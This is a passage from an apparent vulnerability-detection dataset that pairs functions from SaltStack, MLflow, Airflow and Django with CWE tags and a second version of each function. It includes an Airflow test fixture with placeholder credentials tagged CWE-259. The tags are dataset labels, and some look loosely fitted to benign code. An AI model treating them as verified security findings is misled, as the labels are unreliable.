        m_ip6 = '1234:5678::9abc'
        s_ip6 = '1234:5678::1:9abc'

        with patch('salt.transport.zeromq.LIBZMQ_VERSION_INFO', (4, 1, 6)), \
            patch('salt.transport.zeromq.ZMQ_VERSION_INFO', (16, 0, 1)):
            # pass in both source_ip and source_port
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port,
                                                         source_ip=s_ip,
                                                         source_port=s_port) == 'tcp://{0}:{1};{2}:{3}'.format(s_ip, s_port, m_ip, m_port)

            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip6,
                                                         master_port=m_port,
                                                         source_ip=s_ip6,
                                                         source_port=s_port) == 'tcp://[{0}]:{1};[{2}]:{3}'.format(s_ip6, s_port, m_ip6, m_port)

            # source ip and source_port empty
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port) == 'tcp://{0}:{1}'.format(m_ip, m_port)

            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip6,
                                                         master_port=m_port) == 'tcp://[{0}]:{1}'.format(m_ip6, m_port)

            # pass in only source_ip
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port,
                                                         source_ip=s_ip) == 'tcp://{0}:0;{1}:{2}'.format(s_ip, m_ip, m_port)

            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip6,
                                                         master_port=m_port,
                                                         source_ip=s_ip6) == 'tcp://[{0}]:0;[{1}]:{2}'.format(s_ip6, m_ip6, m_port)

            # pass in only source_port
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port,
                                                         source_port=s_port) == 'tcp://0.0.0.0:{0};{1}:{2}'.format(s_port, m_ip, m_port)

            # pass in only master_port and ipv6 source_ip and source_port
            assert salt.transport.zeromq._get_master_uri('::', m_port,
                                                         source_ip=m_port,
                                                         source_port=s_port) == 'tcp://[::]:{0};[{1}]:{2}'.format(m_port, s_ip6, s_port)","CWE-605, CWE-703",saltstack/salt,194a024ed0b932e000bb0aabdbab943d41f548ce,"def test_master_uri(self):
        '''
        test _get_master_uri method
        '''

        m_ip = '127.0.0.1'
        m_port = 4505
        s_ip = '111.1.0.1'
        s_port = 4058

        m_ip6 = '1234:5678::9abc'
        s_ip6 = '1234:5678::1:9abc'

        with patch('salt.transport.zeromq.LIBZMQ_VERSION_INFO', (4, 1, 6)), \
            patch('salt.transport.zeromq.ZMQ_VERSION_INFO', (16, 0, 1)):
            # pass in both source_ip and source_port
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port,
                                                         source_ip=s_ip,
                                                         source_port=s_port) == 'tcp://{0}:{1};{2}:{3}'.format(s_ip, s_port, m_ip, m_port)

            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip6,
                                                         master_port=m_port,
                                                         source_ip=s_ip6,
                                                         source_port=s_port) == 'tcp://[{0}]:{1};[{2}]:{3}'.format(s_ip6, s_port, m_ip6, m_port)

            # source ip and source_port empty
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port) == 'tcp://{0}:{1}'.format(m_ip, m_port)

            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip6,
                                                         master_port=m_port) == 'tcp://[{0}]:{1}'.format(m_ip6, m_port)

            # pass in only source_ip
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port,
                                                         source_ip=s_ip) == 'tcp://{0}:0;{1}:{2}'.format(s_ip, m_ip, m_port)

            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip6,
                                                         master_port=m_port,
                                                         source_ip=s_ip6) == 'tcp://[{0}]:0;[{1}]:{2}'.format(s_ip6, m_ip6, m_port)

            # pass in only source_port
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port,
                                                         source_port=s_port) == 'tcp://0.0.0.0:{0};{1}:{2}'.format(s_port, m_ip, m_port)

            # pass in only master_port and ipv6 source_ip and source_port
            assert salt.transport.zeromq._get_master_uri(master_port=m_port,
                                                         source_ip=m_port,
                                                         source_port=s_port) == 'tcp://[::]:{0};[{1}]:{2}'.format(m_port, s_ip6, s_port)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/models/evaluation/base.py,0,"def _start_run_or_reuse_active_run():
    """"""
    A manager context return:
     - If there's an active run, return the active run id.
     - otherwise start a mflow run with the specified run_id,
       if specified run_id is None, start a new run.
    """"""
    active_run = mlflow.active_run()
    if not active_run:
        # Note `mlflow.start_run` throws if `run_id` is not found.
        with mlflow.start_run() as run:
            yield run.info.run_id
    else:
        yield active_run.info.run_id",,mlflow/mlflow,fbaab628927e98b0ff0c47c6ef71cbdbc41f075f,"def _start_run_or_reuse_active_run():
    """"""
    A manager context return:
     - If there's an active run, return the active run id.
     - otherwise start a mflow run with the specified run_id,
       if specified run_id is None, start a new run.
    """"""
    active_run = mlflow.active_run()
    if not active_run:
        # Note `mlflow.start_run` throws if `run_id` is not found.
        with mlflow.start_run() as run:
            yield run.info.run_id
    else:
        yield active_run.info.run_id"
,UNKNOWN,UNKNOWN,providers/tests/teradata/hooks/test_teradata.py,1,"def setup_method(self):
        self.connection = Connection(
            conn_id=""teradata_conn_id"",
            conn_type=""teradata"",
            login=""login"",
            password=""password"",
            host=""host"",
            schema=""schema"",
        )
        self.db_hook = TeradataHook(teradata_conn_id=""teradata_conn_id"", database=""test_db"")
        self.db_hook.get_connection = mock.Mock()
        self.db_hook.get_connection.return_value = self.connection
        self.cur = mock.MagicMock(rowcount=0)
        self.conn = mock.MagicMock()
        self.conn.cursor.return_value = self.cur
        self.conn.extra_dejson = {}
        conn = self.conn

        class UnitTestTeradataHook(TeradataHook):
            def get_conn(self):
                return conn

            @classmethod
            def get_connection(cls, conn_id: str) -> Connection:
                return conn

        self.test_db_hook = UnitTestTeradataHook(teradata_conn_id=""teradata_conn_id"")",CWE-259,apache/airflow,17d3a605f0c4af7885d92a71dfadf52f0ce13fa5,"def setup_method(self):
        self.connection = Connection(
            conn_id=""teradata_conn_id"",
            conn_type=""teradata"",
            login=""login"",
            password=""password"",
            host=""host"",
            schema=""schema"",
        )
        self.db_hook = TeradataHook(teradata_conn_id=""teradata_conn_id"", database=""test_db"")
        self.db_hook.get_connection = mock.Mock()
        self.db_hook.get_connection.return_value = self.connection
        self.cur = mock.MagicMock(rowcount=0)
        self.conn = mock.MagicMock()
        self.conn.cursor.return_value = self.cur
        conn = self.conn

        class UnitTestTeradataHook(TeradataHook):
            def get_conn(self):
                return conn

            @classmethod
            def get_connection(cls, conn_id: str) -> Connection:
                return conn

        self.test_db_hook = UnitTestTeradataHook(teradata_conn_id=""teradata_conn_id"")"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/core/management/validation.py,0,"def get_validation_errors(outfile, app=None):
    """"""
    Validates all models that are part of the specified app. If no app name is provided,
    validates all models of all installed apps. Writes errors, if any, to outfile.
    Returns number of errors.
    """"""
    from django.db import models, connection
    from django.db.models.loading import get_app_errors
    from django.db.models.deletion import SET_NULL, SET_DEFAULT

    e = ModelErrorCollection(outfile)

    for (app_name, error) in get_app_errors().items():
        e.add(app_name, error)

    for cls in models.get_models(app, include_swapped=True):
        opts = cls._meta

        # Check swappable attribute.
        if opts.swapped:
            try:
                app_label, model_name = opts.swapped.split('.')
            except ValueError:
                e.add(opts, ""%s is not of the form 'app_label.app_name'."" % opts.swappable)
                continue
            if not models.get_model(app_label, model_name):
                e.add(opts, ""Model has been swapped out for '%s' which has not been installed or is abstract."" % opts.swapped)
            # No need to perform any other validation checks on a swapped model.
            continue

        # This is the current User model. Check known validation problems with User models
        if settings.AUTH_USER_MODEL == '%s.%s' % (opts.app_label, opts.object_name):
            # Check that the USERNAME FIELD isn't included in REQUIRED_FIELDS.
            if cls.USERNAME_FIELD in cls.REQUIRED_FIELDS:
                e.add(opts, 'The field named as the USERNAME_FIELD should not be included in REQUIRED_FIELDS on a swappable User model.')

        # Model isn't swapped; do field-specific validation.
        for f in opts.local_fields:
            if f.name == 'id' and not f.primary_key and opts.pk.name == 'id':
                e.add(opts, '""%s"": You can\'t use ""id"" as a field name, because each model automatically gets an ""id"" field if none of the fields have primary_key=True. You need to either remove/rename your ""id"" field or add primary_key=True to a field.' % f.name)
            if f.name.endswith('_'):
                e.add(opts, '""%s"": Field names cannot end with underscores, because this would lead to ambiguous queryset filters.' % f.name)
            if (f.primary_key and f.null and
                    not connection.features.interprets_empty_strings_as_nulls):
                # We cannot reliably check this for backends like Oracle which
                # consider NULL and '' to be equal (and thus set up
                # character-based fields a little differently).
                e.add(opts, '""%s"": Primary key fields cannot have null=True.' % f.name)
            if isinstance(f, models.CharField):
                try:
                    max_length = int(f.max_length)
                    if max_length <= 0:
                        e.add(opts, '""%s"": CharFields require a ""max_length"" attribute that is a positive integer.' % f.name)
                except (ValueError, TypeError):
                    e.add(opts, '""%s"": CharFields require a ""max_length"" attribute that is a positive integer.' % f.name)
            if isinstance(f, models.DecimalField):
                decimalp_ok, mdigits_ok = False, False
                decimalp_msg = '""%s"": DecimalFields require a ""decimal_places"" attribute that is a non-negative integer.'
                try:
                    decimal_places = int(f.decimal_places)
                    if decimal_places < 0:
                        e.add(opts, decimalp_msg % f.name)
                    else:
                        decimalp_ok = True
                except (ValueError, TypeError):
                    e.add(opts, decimalp_msg % f.name)
                mdigits_msg = '""%s"": DecimalFields require a ""max_digits"" attribute that is a positive integer.'
                try:
                    max_digits = int(f.max_digits)
                    if max_digits <= 0:
                        e.add(opts,  mdigits_msg % f.name)
                    else:
                        mdigits_ok = True
                except (ValueError, TypeError):
                    e.add(opts, mdigits_msg % f.name)
                invalid_values_msg = '""%s"": DecimalFields require a ""max_digits"" attribute value that is greater than or equal to the value of the ""decimal_places"" attribute.'
                if decimalp_ok and mdigits_ok:
                    if decimal_places > max_digits:
                        e.add(opts, invalid_values_msg % f.name)
            if isinstance(f, models.FileField) and not f.upload_to:
                e.add(opts, '""%s"": FileFields require an ""upload_to"" attribute.' % f.name)
            if isinstance(f, models.ImageField):
                # Try to import PIL in either of the two ways it can end up installed.
                try:
                    from PIL import Image
                except ImportError:
                    try:
                        import Image
                    except ImportError:
                        e.add(opts, '""%s"": To use ImageFields, you need to install the Python Imaging Library. Get it at http://www.pythonware.com/products/pil/ .' % f.name)
            if isinstance(f, models.BooleanField) and getattr(f, 'null', False):
                e.add(opts, '""%s"": BooleanFields do not accept null values. Use a NullBooleanField instead.' % f.name)
            if isinstance(f, models.FilePathField) and not (f.allow_files or f.allow_folders):
                e.add(opts, '""%s"": FilePathFields must have either allow_files or allow_folders set to True.' % f.name)
            if f.choices:
                if isinstance(f.choices, six.string_types) or not is_iterable(f.choices):
                    e.add(opts, '""%s"": ""choices"" should be iterable (e.g., a tuple or list).' % f.name)
                else:
                    for c in f.choices:
                        if not isinstance(c, (list, tuple)) or len(c) != 2:
                            e.add(opts, '""%s"": ""choices"" should be a sequence of two-tuples.' % f.name)
            if f.db_index not in (None, True, False):
                e.add(opts, '""%s"": ""db_index"" should be either None, True or False.' % f.name)

            # Perform any backend-specific field validation.
            connection.validation.validate_field(e, opts, f)

            # Check if the on_delete behavior is sane
            if f.rel and hasattr(f.rel, 'on_delete'):
                if f.rel.on_delete == SET_NULL and not f.null:
                    e.add(opts, ""'%s' specifies on_delete=SET_NULL, but cannot be null."" % f.name)
                elif f.rel.on_delete == SET_DEFAULT and not f.has_default():
                    e.add(opts, ""'%s' specifies on_delete=SET_DEFAULT, but has no default value."" % f.name)

            # Check to see if the related field will clash with any existing
            # fields, m2m fields, m2m related objects or related objects
            if f.rel:
                if f.rel.to not in models.get_models():
                    # If the related model is swapped, provide a hint;
                    # otherwise, the model just hasn't been installed.
                    if not isinstance(f.rel.to, six.string_types) and f.rel.to._meta.swapped:
                        e.add(opts, ""'%s' defines a relation with the model '%s.%s', which has been swapped out. Update the relation to point at settings.%s."" % (f.name, f.rel.to._meta.app_label, f.rel.to._meta.object_name, f.rel.to._meta.swappable))
                    else:
                        e.add(opts, ""'%s' has a relation with model %s, which has either not been installed or is abstract."" % (f.name, f.rel.to))
                # it is a string and we could not find the model it refers to
                # so skip the next section
                if isinstance(f.rel.to, six.string_types):
                    continue

                # Make sure the related field specified by a ForeignKey is unique
                if not f.rel.to._meta.get_field(f.rel.field_name).unique:
                    e.add(opts, ""Field '%s' under model '%s' must have a unique=True constraint."" % (f.rel.field_name, f.rel.to.__name__))

                rel_opts = f.rel.to._meta
                rel_name = f.related.get_accessor_name()
                rel_query_name = f.related_query_name()
                if not f.rel.is_hidden():
                    for r in rel_opts.fields:
                        if r.name == rel_name:
                            e.add(opts, ""Accessor for field '%s' clashes with field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.name, f.name))
                        if r.name == rel_query_name:
                            e.add(opts, ""Reverse query name for field '%s' clashes with field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.name, f.name))
                    for r in rel_opts.local_many_to_many:
                        if r.name == rel_name:
                            e.add(opts, ""Accessor for field '%s' clashes with m2m field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.name, f.name))
                        if r.name == rel_query_name:
                            e.add(opts, ""Reverse query name for field '%s' clashes with m2m field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.name, f.name))
                    for r in rel_opts.get_all_related_many_to_many_objects():
                        if r.get_accessor_name() == rel_name:
                            e.add(opts, ""Accessor for field '%s' clashes with related m2m field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.get_accessor_name(), f.name))
                        if r.get_accessor_name() == rel_query_name:
                            e.add(opts, ""Reverse query name for field '%s' clashes with related m2m field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.get_accessor_name(), f.name))
                    for r in rel_opts.get_all_related_objects():
                        if r.field is not f:
                            if r.get_accessor_name() == rel_name:
                                e.add(opts, ""Accessor for field '%s' clashes with related field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.get_accessor_name(), f.name))
                            if r.get_accessor_name() == rel_query_name:
                                e.add(opts, ""Reverse query name for field '%s' clashes with related field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.get_accessor_name(), f.name))

        seen_intermediary_signatures = []
        for i, f in enumerate(opts.local_many_to_many):
            # Check to see if the related m2m field will clash with any
            # existing fields, m2m fields, m2m related objects or related
            # objects
            if f.rel.to not in models.get_models():
                # If the related model is swapped, provide a hint;
                # otherwise, the model just hasn't been installed.
                if not isinstance(f.rel.to, six.string_types) and f.rel.to._meta.swapped:
                    e.add(opts, ""'%s' defines a relation with the model '%s.%s', which has been swapped out. Update the relation to point at settings.%s."" % (f.name, f.rel.to._meta.app_label, f.rel.to._meta.object_name, f.rel.to._meta.swappable))
                else:
                    e.add(opts, ""'%s' has an m2m relation with model %s, which has either not been installed or is abstract."" % (f.name, f.rel.to))

                # it is a string and we could not find the model it refers to
                # so skip the next section
                if isinstance(f.rel.to, six.string_types):
                    continue

            # Check that the field is not set to unique.  ManyToManyFields do not support unique.
            if f.unique:
                e.add(opts, ""ManyToManyFields cannot be unique.  Remove the unique argument on '%s'."" % f.name)

            if f.rel.through is not None and not isinstance(f.rel.through, six.string_types):
                from_model, to_model = cls, f.rel.to
                if from_model == to_model and f.rel.symmetrical and not f.rel.through._meta.auto_created:
                    e.add(opts, ""Many-to-many fields with intermediate tables cannot be symmetrical."")
                seen_from, seen_to, seen_self = False, False, 0
                for inter_field in f.rel.through._meta.fields:
                    rel_to = getattr(inter_field.rel, 'to', None)
                    if from_model == to_model:  # relation to self
                        if rel_to == from_model:
                            seen_self += 1
                        if seen_self > 2:
                            e.add(opts, ""Intermediary model %s has more than ""
                                ""two foreign keys to %s, which is ambiguous ""
                                ""and is not permitted."" % (
                                    f.rel.through._meta.object_name,
                                    from_model._meta.object_name
                                )
                            )
                    else:
                        if rel_to == from_model:
                            if seen_from:
                                e.add(opts, ""Intermediary model %s has more ""
                                    ""than one foreign key to %s, which is ""
                                    ""ambiguous and is not permitted."" % (
                                        f.rel.through._meta.object_name,
                                         from_model._meta.object_name
                                     )
                                 )
                            else:
                                seen_from = True
                        elif rel_to == to_model:
                            if seen_to:
                                e.add(opts, ""Intermediary model %s has more ""
                                    ""than one foreign key to %s, which is ""
                                    ""ambiguous and is not permitted."" % (
                                        f.rel.through._meta.object_name,
                                        rel_to._meta.object_name
                                    )
                                )
                            else:
                                seen_to = True
                if f.rel.through not in models.get_models(include_auto_created=True):
                    e.add(opts, ""'%s' specifies an m2m relation through model ""
                        ""%s, which has not been installed."" % (f.name, f.rel.through)
                    )
                signature = (f.rel.to, cls, f.rel.through)
                if signature in seen_intermediary_signatures:
                    e.add(opts, ""The model %s has two manually-defined m2m ""
                        ""relations through the model %s, which is not ""
                        ""permitted. Please consider using an extra field on ""
                        ""your intermediary model instead."" % (
                            cls._meta.object_name,
                            f.rel.through._meta.object_name
                        )
                    )
                else:
                    seen_intermediary_signatures.append(signature)
                if not f.rel.through._meta.auto_created:
                    seen_related_fk, seen_this_fk = False, False
                    for field in f.rel.through._meta.fields:
                        if field.rel:
                            if not seen_related_fk and field.rel.to == f.rel.to:
                                seen_related_fk = True
                            elif field.rel.to == cls:
                                seen_this_fk = True
                    if not seen_related_fk or not seen_this_fk:
                        e.add(opts, ""'%s' is a manually-defined m2m relation ""
                            ""through model %s, which does not have foreign keys ""
                            ""to %s and %s"" % (f.name, f.rel.through._meta.object_name,
                                f.rel.to._meta.object_name, cls._meta.object_name)
                        )
            elif isinstance(f.rel.through, six.string_types):
                e.add(opts, ""'%s' specifies an m2m relation through model %s, ""
                    ""which has not been installed"" % (f.name, f.rel.through)
                )

            rel_opts = f.rel.to._meta
            rel_name = f.related.get_accessor_name()
            rel_query_name = f.related_query_name()
            # If rel_name is none, there is no reverse accessor (this only
            # occurs for symmetrical m2m relations to self). If this is the
            # case, there are no clashes to check for this field, as there are
            # no reverse descriptors for this field.
            if rel_name is not None:
                for r in rel_opts.fields:
                    if r.name == rel_name:
                        e.add(opts, ""Accessor for m2m field '%s' clashes with field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.name, f.name))
                    if r.name == rel_query_name:
                        e.add(opts, ""Reverse query name for m2m field '%s' clashes with field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.name, f.name))
                for r in rel_opts.local_many_to_many:
                    if r.name == rel_name:
                        e.add(opts, ""Accessor for m2m field '%s' clashes with m2m field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.name, f.name))
                    if r.name == rel_query_name:
                        e.add(opts, ""Reverse query name for m2m field '%s' clashes with m2m field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.name, f.name))
                for r in rel_opts.get_all_related_many_to_many_objects():
                    if r.field is not f:
                        if r.get_accessor_name() == rel_name:
                            e.add(opts, ""Accessor for m2m field '%s' clashes with related m2m field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.get_accessor_name(), f.name))
                        if r.get_accessor_name() == rel_query_name:
                            e.add(opts, ""Reverse query name for m2m field '%s' clashes with related m2m field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.get_accessor_name(), f.name))
                for r in rel_opts.get_all_related_objects():
                    if r.get_accessor_name() == rel_name:
                        e.add(opts, ""Accessor for m2m field '%s' clashes with related field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.get_accessor_name(), f.name))
                    if r.get_accessor_name() == rel_query_name:
                        e.add(opts, ""Reverse query name for m2m field '%s' clashes with related field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.get_accessor_name(), f.name))

        # Check ordering attribute.
        if opts.ordering:
            for field_name in opts.ordering:
                if field_name == '?':
                    continue
                if field_name.startswith('-'):
                    field_name = field_name[1:]
                if opts.order_with_respect_to and field_name == '_order':
                    continue
                # Skip ordering in the format field1__field2 (FIXME: checking
                # this format would be nice, but it's a little fiddly).
                if '__' in field_name:
                    continue
                # Skip ordering on pk. This is always a valid order_by field
                # but is an alias and therefore won't be found by opts.get_field.
                if field_name == 'pk':
                    continue
                try:
                    opts.get_field(field_name, many_to_many=False)
                except models.FieldDoesNotExist:
                    e.add(opts, '""ordering"" refers to ""%s"", a field that doesn\'t exist.' % field_name)

        # Check unique_together.
        for ut in opts.unique_together:
            validate_local_fields(e, opts, ""unique_together"", ut)
        if not isinstance(opts.index_together, collections.Sequence):
            e.add(opts, '""index_together"" must a sequence')
        else:
            for it in opts.index_together:
                validate_local_fields(e, opts, ""index_together"", it)

    return len(e.errors)",CWE-Unknown,django/django,3647c0a49a2f4535b8a9aba40e662743e4d53e76,"def get_validation_errors(outfile, app=None):
    """"""
    Validates all models that are part of the specified app. If no app name is provided,
    validates all models of all installed apps. Writes errors, if any, to outfile.
    Returns number of errors.
    """"""
    from django.db import models, connection
    from django.db.models.loading import get_app_errors
    from django.db.models.fields.related import RelatedObject
    from django.db.models.deletion import SET_NULL, SET_DEFAULT

    e = ModelErrorCollection(outfile)

    for (app_name, error) in get_app_errors().items():
        e.add(app_name, error)

    for cls in models.get_models(app, include_swapped=True):
        opts = cls._meta

        # Check swappable attribute.
        if opts.swapped:
            try:
                app_label, model_name = opts.swapped.split('.')
            except ValueError:
                e.add(opts, ""%s is not of the form 'app_label.app_name'."" % opts.swappable)
                continue
            if not models.get_model(app_label, model_name):
                e.add(opts, ""Model has been swapped out for '%s' which has not been installed or is abstract."" % opts.swapped)
            # No need to perform any other validation checks on a swapped model.
            continue

        # This is the current User model. Check known validation problems with User models
        if settings.AUTH_USER_MODEL == '%s.%s' % (opts.app_label, opts.object_name):
            # Check that the USERNAME FIELD isn't included in REQUIRED_FIELDS.
            if cls.USERNAME_FIELD in cls.REQUIRED_FIELDS:
                e.add(opts, 'The field named as the USERNAME_FIELD should not be included in REQUIRED_FIELDS on a swappable User model.')

        # Model isn't swapped; do field-specific validation.
        for f in opts.local_fields:
            if f.name == 'id' and not f.primary_key and opts.pk.name == 'id':
                e.add(opts, '""%s"": You can\'t use ""id"" as a field name, because each model automatically gets an ""id"" field if none of the fields have primary_key=True. You need to either remove/rename your ""id"" field or add primary_key=True to a field.' % f.name)
            if f.name.endswith('_'):
                e.add(opts, '""%s"": Field names cannot end with underscores, because this would lead to ambiguous queryset filters.' % f.name)
            if (f.primary_key and f.null and
                    not connection.features.interprets_empty_strings_as_nulls):
                # We cannot reliably check this for backends like Oracle which
                # consider NULL and '' to be equal (and thus set up
                # character-based fields a little differently).
                e.add(opts, '""%s"": Primary key fields cannot have null=True.' % f.name)
            if isinstance(f, models.CharField):
                try:
                    max_length = int(f.max_length)
                    if max_length <= 0:
                        e.add(opts, '""%s"": CharFields require a ""max_length"" attribute that is a positive integer.' % f.name)
                except (ValueError, TypeError):
                    e.add(opts, '""%s"": CharFields require a ""max_length"" attribute that is a positive integer.' % f.name)
            if isinstance(f, models.DecimalField):
                decimalp_ok, mdigits_ok = False, False
                decimalp_msg = '""%s"": DecimalFields require a ""decimal_places"" attribute that is a non-negative integer.'
                try:
                    decimal_places = int(f.decimal_places)
                    if decimal_places < 0:
                        e.add(opts, decimalp_msg % f.name)
                    else:
                        decimalp_ok = True
                except (ValueError, TypeError):
                    e.add(opts, decimalp_msg % f.name)
                mdigits_msg = '""%s"": DecimalFields require a ""max_digits"" attribute that is a positive integer.'
                try:
                    max_digits = int(f.max_digits)
                    if max_digits <= 0:
                        e.add(opts,  mdigits_msg % f.name)
                    else:
                        mdigits_ok = True
                except (ValueError, TypeError):
                    e.add(opts, mdigits_msg % f.name)
                invalid_values_msg = '""%s"": DecimalFields require a ""max_digits"" attribute value that is greater than or equal to the value of the ""decimal_places"" attribute.'
                if decimalp_ok and mdigits_ok:
                    if decimal_places > max_digits:
                        e.add(opts, invalid_values_msg % f.name)
            if isinstance(f, models.FileField) and not f.upload_to:
                e.add(opts, '""%s"": FileFields require an ""upload_to"" attribute.' % f.name)
            if isinstance(f, models.ImageField):
                # Try to import PIL in either of the two ways it can end up installed.
                try:
                    from PIL import Image
                except ImportError:
                    try:
                        import Image
                    except ImportError:
                        e.add(opts, '""%s"": To use ImageFields, you need to install the Python Imaging Library. Get it at http://www.pythonware.com/products/pil/ .' % f.name)
            if isinstance(f, models.BooleanField) and getattr(f, 'null', False):
                e.add(opts, '""%s"": BooleanFields do not accept null values. Use a NullBooleanField instead.' % f.name)
            if isinstance(f, models.FilePathField) and not (f.allow_files or f.allow_folders):
                e.add(opts, '""%s"": FilePathFields must have either allow_files or allow_folders set to True.' % f.name)
            if f.choices:
                if isinstance(f.choices, six.string_types) or not is_iterable(f.choices):
                    e.add(opts, '""%s"": ""choices"" should be iterable (e.g., a tuple or list).' % f.name)
                else:
                    for c in f.choices:
                        if not isinstance(c, (list, tuple)) or len(c) != 2:
                            e.add(opts, '""%s"": ""choices"" should be a sequence of two-tuples.' % f.name)
            if f.db_index not in (None, True, False):
                e.add(opts, '""%s"": ""db_index"" should be either None, True or False.' % f.name)

            # Perform any backend-specific field validation.
            connection.validation.validate_field(e, opts, f)

            # Check if the on_delete behavior is sane
            if f.rel and hasattr(f.rel, 'on_delete'):
                if f.rel.on_delete == SET_NULL and not f.null:
                    e.add(opts, ""'%s' specifies on_delete=SET_NULL, but cannot be null."" % f.name)
                elif f.rel.on_delete == SET_DEFAULT and not f.has_default():
                    e.add(opts, ""'%s' specifies on_delete=SET_DEFAULT, but has no default value."" % f.name)

            # Check to see if the related field will clash with any existing
            # fields, m2m fields, m2m related objects or related objects
            if f.rel:
                if f.rel.to not in models.get_models():
                    # If the related model is swapped, provide a hint;
                    # otherwise, the model just hasn't been installed.
                    if not isinstance(f.rel.to, six.string_types) and f.rel.to._meta.swapped:
                        e.add(opts, ""'%s' defines a relation with the model '%s.%s', which has been swapped out. Update the relation to point at settings.%s."" % (f.name, f.rel.to._meta.app_label, f.rel.to._meta.object_name, f.rel.to._meta.swappable))
                    else:
                        e.add(opts, ""'%s' has a relation with model %s, which has either not been installed or is abstract."" % (f.name, f.rel.to))
                # it is a string and we could not find the model it refers to
                # so skip the next section
                if isinstance(f.rel.to, six.string_types):
                    continue

                # Make sure the related field specified by a ForeignKey is unique
                if not f.rel.to._meta.get_field(f.rel.field_name).unique:
                    e.add(opts, ""Field '%s' under model '%s' must have a unique=True constraint."" % (f.rel.field_name, f.rel.to.__name__))

                rel_opts = f.rel.to._meta
                rel_name = RelatedObject(f.rel.to, cls, f).get_accessor_name()
                rel_query_name = f.related_query_name()
                if not f.rel.is_hidden():
                    for r in rel_opts.fields:
                        if r.name == rel_name:
                            e.add(opts, ""Accessor for field '%s' clashes with field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.name, f.name))
                        if r.name == rel_query_name:
                            e.add(opts, ""Reverse query name for field '%s' clashes with field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.name, f.name))
                    for r in rel_opts.local_many_to_many:
                        if r.name == rel_name:
                            e.add(opts, ""Accessor for field '%s' clashes with m2m field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.name, f.name))
                        if r.name == rel_query_name:
                            e.add(opts, ""Reverse query name for field '%s' clashes with m2m field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.name, f.name))
                    for r in rel_opts.get_all_related_many_to_many_objects():
                        if r.get_accessor_name() == rel_name:
                            e.add(opts, ""Accessor for field '%s' clashes with related m2m field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.get_accessor_name(), f.name))
                        if r.get_accessor_name() == rel_query_name:
                            e.add(opts, ""Reverse query name for field '%s' clashes with related m2m field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.get_accessor_name(), f.name))
                    for r in rel_opts.get_all_related_objects():
                        if r.field is not f:
                            if r.get_accessor_name() == rel_name:
                                e.add(opts, ""Accessor for field '%s' clashes with related field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.get_accessor_name(), f.name))
                            if r.get_accessor_name() == rel_query_name:
                                e.add(opts, ""Reverse query name for field '%s' clashes with related field '%s.%s'. Add a related_name argument to the definition for '%s'."" % (f.name, rel_opts.object_name, r.get_accessor_name(), f.name))

        seen_intermediary_signatures = []
        for i, f in enumerate(opts.local_many_to_many):
            # Check to see if the related m2m field will clash with any
            # existing fields, m2m fields, m2m related objects or related
            # objects
            if f.rel.to not in models.get_models():
                # If the related model is swapped, provide a hint;
                # otherwise, the model just hasn't been installed.
                if not isinstance(f.rel.to, six.string_types) and f.rel.to._meta.swapped:
                    e.add(opts, ""'%s' defines a relation with the model '%s.%s', which has been swapped out. Update the relation to point at settings.%s."" % (f.name, f.rel.to._meta.app_label, f.rel.to._meta.object_name, f.rel.to._meta.swappable))
                else:
                    e.add(opts, ""'%s' has an m2m relation with model %s, which has either not been installed or is abstract."" % (f.name, f.rel.to))

                # it is a string and we could not find the model it refers to
                # so skip the next section
                if isinstance(f.rel.to, six.string_types):
                    continue

            # Check that the field is not set to unique.  ManyToManyFields do not support unique.
            if f.unique:
                e.add(opts, ""ManyToManyFields cannot be unique.  Remove the unique argument on '%s'."" % f.name)

            if f.rel.through is not None and not isinstance(f.rel.through, six.string_types):
                from_model, to_model = cls, f.rel.to
